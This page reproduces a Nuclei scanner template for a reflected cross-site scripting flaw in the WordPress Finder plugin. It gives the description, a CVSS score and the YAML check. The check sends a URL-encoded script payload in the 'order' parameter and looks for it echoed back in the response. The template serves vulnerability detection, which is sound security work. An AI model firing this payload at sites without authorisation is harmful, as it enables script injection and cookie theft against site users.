wp-finder-xss: WordPress Finder - Cross-Site Scripting

2025-08-01 wp finder PoC Public

Description

WordPress Plugin Finder contains a cross-site scripting vulnerability via the order parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: wp-finder-xss

info:
  name: WordPress Finder - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Plugin Finder contains a cross-site scripting vulnerability via the order parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://packetstormsecurity.com/files/115902/WordPress-Finder-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,wp-plugin,packetstorm,wordpress,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/finder/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093c6d1f0495c4d1b9b3a294b468418f4b1650492006300d1785383f76c3794f80221009487ef2251e7ce177218beda7b8a8bb22caf73f59481bead18334b01c37a45eb:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wp-finder-xss.yaml

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